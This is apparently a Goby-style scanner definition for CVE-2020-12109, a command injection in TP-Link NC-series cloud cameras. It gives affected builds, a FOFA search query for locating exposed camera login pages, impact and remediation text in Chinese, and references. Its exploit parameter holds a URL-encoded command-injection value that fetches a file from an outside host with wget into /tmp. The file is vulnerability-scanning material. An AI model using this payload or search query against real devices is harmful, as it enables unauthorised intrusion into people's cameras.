{
  "Name": "TP-Link NCxxx Command Injection CVE-2020-12109",
  "Description": "Certain TP-Link devices allow Command Injection. This affects NC200 2.1.9 build 200225, NC210 1.0.9 build 200304, NC220 1.3.0 build 200304, NC230 1.3.0 build 200304, NC250 1.3.0 build 200304, NC260 1.5.2 build 200304, and NC450 1.5.3 build 200304.",
  "Product": "TP-LINK-NC-CAMERA",
  "Homepage": "https://www.tp-link.com.cn/",
  "DisclosureDate": "2020-05-04",
  "Author": "mahui@gobies.org",
  "FofaQuery": "title=\"NC200 Admin - Login\" || title=\"NC210 Admin - Login\" || title=\"NC220 Admin - Login\" || title=\"NC230 Admin - Login\" || title=\"NC250 Admin - Login\" || title=\"NC260 Admin - Login\" || title=\"NC450 Admin - Login\"",
  "Level": "2",
  "Impact": "<p>TP-LINK-NC系列是一款无线云摄像头，任何人都可轻松使用。<br></p><p>攻击者可以做以下操作：</p><p>1、集成WEB服务程序的权限去执行系统命令或读写文件。</p><p>2、反弹shell</p><p>3、控制整个网络甚至服务器。</p>",
  "Recommendation": "<p>1、官网已修复改漏洞，建议用户联系厂商修复漏洞或更新到最新版本：https://www.tp-link.com.cn/</p><p>2、通过防火墙等安全设备设置访问策略，设置白名单访问。</p><p>3、如非必要，禁止公网访问该系统。</p>",
  "References": [
    "http://packetstormsecurity.com/files/157531/TP-LINK-Cloud-Cameras-NCXXX-Bonjour-Command-Injection.html",
    "http://packetstormsecurity.com/files/159222/TP-Link-Cloud-Cameras-NCXXX-Bonjour-Command-Injection.html",
    "https://seclists.org/fulldisclosure/2020/May/2",
    "https://www.tp-link.com/us/security",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-12109",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12109"
  ],
  "HasExp": false,
  "ExpParams": [
	{
      "Name": "AttackType",
      "Type": "select",
      "Value": "self_shell"
    },
	{
      "Name": "cmd",
      "Type": "input",
      "Value": "%24%28wget%20-qO%20/tmp/svGZLZyf%20http(s)://...)"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": null,
  "ExploitSteps": null,
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2020-12109"
  ],
  "CVSSScore": "8.8",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": ["TP-LINK-NC-CAMERA"]
  },
  "Disable": false
}